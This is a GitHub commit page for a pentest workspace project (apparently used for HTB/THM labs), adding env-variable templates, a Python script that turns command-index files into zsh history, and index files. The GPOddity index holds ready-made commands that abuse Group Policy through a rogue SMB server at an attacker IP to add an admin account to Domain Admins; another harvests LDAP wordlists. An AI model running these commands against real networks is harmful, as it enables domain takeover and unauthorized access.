Skip to content

Commit ac4579b

Browse files
authored
Merge pull request #1 from Esonhugh/feat/command_env_completion
Feat/command env completion
2 parents 5feae77 + f3e263e commit ac4579b

File tree

390 files changed

+1114
-156
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

390 files changed

+1114
-156
lines changed

.devcontainer/devcontainer.json

Lines changed: 0 additions & 60 deletions
This file was deleted.

.dockerignore

Lines changed: 0 additions & 11 deletions
This file was deleted.

.github/workflows/release.yml

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,11 @@ jobs:
2222
with:
2323
python-version: "3.x"
2424

25-
- run: python3 craft.py
25+
- name: Install uv
26+
uses: astral-sh/setup-uv@v5
27+
28+
- run: uv run ./craft.py
29+
- run: uv run ./completion_creator.py
2630

2731
- run: |
2832
cd $GITHUB_WORKSPACE
@@ -56,15 +60,20 @@ jobs:
5660
cat commit_notes
5761
5862
echo "Begin Creating Release..."
59-
python3 ./releaser.py commit_notes > version.txt
63+
uv run ./releaser.py commit_notes > version.txt
6064
echo "Create successful!"
6165
cat version.txt
6266
67+
- name: zip files
68+
run: |
69+
zip -r createhackenv.zip createhackenv.sh zsh_history installer.sh
70+
echo "Files zipped successfully!"
71+
6372
- name: Create Release
6473
uses: softprops/action-gh-release@v1
6574
env:
6675
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
6776
with:
6877
body_path: ${{ github.workspace }}/version.txt
6978
files: |
70-
${{ github.workspace }}/createhackenv.sh
79+
${{ github.workspace }}/createhackenv.zip

.gitignore

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,4 +6,5 @@ services/
66
index.md
77
Makefile
88
.DS_Store
9-
.vscode/.command_history
9+
.vscode/.command_history
10+
zsh_history

.vscode/.zshrc

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -186,3 +186,11 @@ setopt hist_save_no_dups
186186
setopt histignorealldups
187187
setopt EXTENDED_HISTORY # with timestamp
188188
fc -R -I ${OLD_HISTFILE} # loading the old histfile
189+
190+
if [[ "$HIST_COMMAND_INDEXER" != "" ]]; then
191+
if [[ ! -f ${HIST_COMMAND_INDEXER} ]]; then
192+
echo "HIST_COMMAND_INDEXER file not found: ${HIST_COMMAND_INDEXER}"
193+
else
194+
fc -R -I ${HIST_COMMAND_INDEXER} # loading the command indexer
195+
fi
196+
fi

.vscode/env.zsh

Lines changed: 36 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -7,19 +7,50 @@
77
# Target settings
88
export RHOST=10.10.X.X
99
# works well on HTB and THM, Put your reverse IP here.
10-
export LHOST=`ifconfig|grep '10\.10\.'|cut -d ' ' -f2`
1110

1211
# use this if you are using a VPS or cloud server it can automatically get your public IP.
1312
# export LHOST=`curl ifconfig.me`
1413
# export LHOST=`curl ip.me`
14+
export LHOST=`ifconfig|grep '10\.10\.'|cut -d ' ' -f2`
15+
export ATTACKER_IP=$LHOST
16+
1517
export LPORT=6789
1618
export DOMAIN=
1719

18-
# export USER_A=
19-
# export PASS_A=
20+
export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip
21+
22+
export IP=${RHOST} # alias rhost
23+
export ip=${IP} # alias as IP
24+
export DC_IP=${RHOST} # alias rhost
25+
export DC_HOST=dc01.${DOMAIN} # domain controller host, if not set use dc01.domain.com
26+
27+
export USER_A=username
28+
export PASS_A=password
29+
export NT_HASH_A=ffffffffffffffffffffffffffffffff # NTLM hash, if you have it
30+
31+
export USER_B=
32+
export PASS_B=
2033

21-
# export USER_B=
22-
# export PASS_B=
34+
export CURRENT=A # set the current username
35+
export CURRENT_USER=`eval echo '$USER_'$CURRENT` # alias for USER_A
36+
export CURRENT_PASS=`eval echo '$PASS_'$CURRENT` # alias for PASS_A
37+
export CURRENT_NT_HASH=`eval echo '$NT_HASH_'$CURRENT` # alias for NT_HASH_A
38+
39+
# defined variables if u need
40+
export USER=${CURRENT_USER}
41+
export USERNAME=${CURRENT_USER}
42+
export PASS=${CURRENT_PASS}
43+
export PASSWORD=${CURRENT_PASS} # alias for PASS
44+
export NT_HASH=${CURRENT_NT_HASH} # alias for NT_HASH_A
45+
46+
47+
# export KRB5CCNAME=
48+
49+
# FAKETIME settings
50+
# export LD_PRELOAD=/usr/local/lib/libfaketime.so.1
51+
# export LD_PRELOAD=/usr/lib/aarch64-linux-gnu/faketime/libfaketime.so.1
52+
# export DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=/opt/homebrew/Cellar/libfaketime/0.9.10/lib/faketime/libfaketime.1.dylib
53+
# export FAKETIME="-8h"
2354

2455

2556
export METASPLOIT_INIT_COMMAND=""
@@ -68,10 +99,6 @@ export TF_LOG_PATH=$PROJECT_FOLDER/terraform.log
6899

69100
################################################################
70101
# More default settings
71-
export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip
72-
73-
export IP=${RHOST} # alias rhost
74-
export ip=${IP} # alias as IP
75102

76103
export PROJECT_WEB_DELIVERY=$PROJECT_FOLDER/.web-delivery # web-delivery is a folder in PROJECT_FOLDER
77104
unset SSS_LOADED # make sure sss init shell is not set

Dockerfile

Lines changed: 0 additions & 61 deletions
This file was deleted.

completion_createor.py

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
# /// script
2+
# requires-python = ">=3.10"
3+
# dependencies = []
4+
# ///
5+
6+
import os
7+
import re
8+
import json
9+
10+
env_args = {}
11+
12+
def processor(f_to_read, f_to_write):
13+
data = f_to_read.read()
14+
# found unique environment variables
15+
for line in data.splitlines():
16+
if "$" in line:
17+
matched = re.search(r'\$({)?\w+(})?', line)
18+
if matched:
19+
matched_word = matched.group(0)
20+
if matched_word not in env_args:
21+
env_args[matched_word] = {}
22+
print(f"Found environment variable: {matched_word} in file: {f_to_read.name}")
23+
if f_to_read.name not in env_args[matched_word]:
24+
env_args[matched_word][f_to_read.name] = 1
25+
else:
26+
env_args[matched_word][f_to_read.name] += 1
27+
if line:
28+
f_to_write.write(f"{line}\n")
29+
30+
def check_env_var():
31+
defined_list = []
32+
undefined_list = []
33+
for env_var, files in env_args.items():
34+
if os.getenv(env_var.strip("${}")) is None:
35+
flist = []
36+
for f, count in files.items():
37+
flist.append(f"filename: {f} (used {count} times)")
38+
undefined_list.append(f"Environment variable {env_var} is not defined! It is used in files: {', '.join(flist)}")
39+
else:
40+
defined_list.append(f"Environment variable {env_var} is defined with value: {os.getenv(env_var.strip('${}'))}")
41+
42+
for line in defined_list:
43+
print(line)
44+
for line in undefined_list:
45+
print(line)
46+
47+
def main() -> None:
48+
write_file = "./zsh_history"
49+
f = open(write_file, "w")
50+
for path, dictionaries, files in os.walk("./completion_indexer"):
51+
if files:
52+
for file in files:
53+
print(f"Processing file: {file} in {path}")
54+
with open(os.path.join(path, file), "r") as f_read:
55+
processor(f_read, f)
56+
f.close()
57+
print(f"All environment variables found: {json.dumps(env_args, indent=4)}")
58+
print("Checking if environment variabkes are defined")
59+
check_env_var()
60+
61+
62+
if __name__ == "__main__":
63+
main()

completion_indexer/GPOddity

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
gpoddity --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain "$DOMAIN" --username 'GPODDITY$' --password "$PASS" --command 'net user attackeradmin exegol4thewin! /add && net localgroup administrators attackeradmin /add' --rogue-smbserver-ip "$ATTACKER_IP" --rogue-smbserver-share "EXEGOL"
2+
gpoddity --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --no-smb-server --domain "$DOMAIN" --username 'GPODDITY$' --password "$PASS" --command 'net user attackeradmin exegol4thewin! /add /domain && net group "Domain Admins" attackeradmin /ADD /DOMAIN' --rogue-smbserver-ip "$ATTACKER_IP" --rogue-smbserver-share "EXEGOL"
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
LDAPWordlistHarvester.py -d "$DOMAIN" -u "$USER" -p "$PASS" --dc-ip "$DC_IP

0 commit comments

Comments
 (0)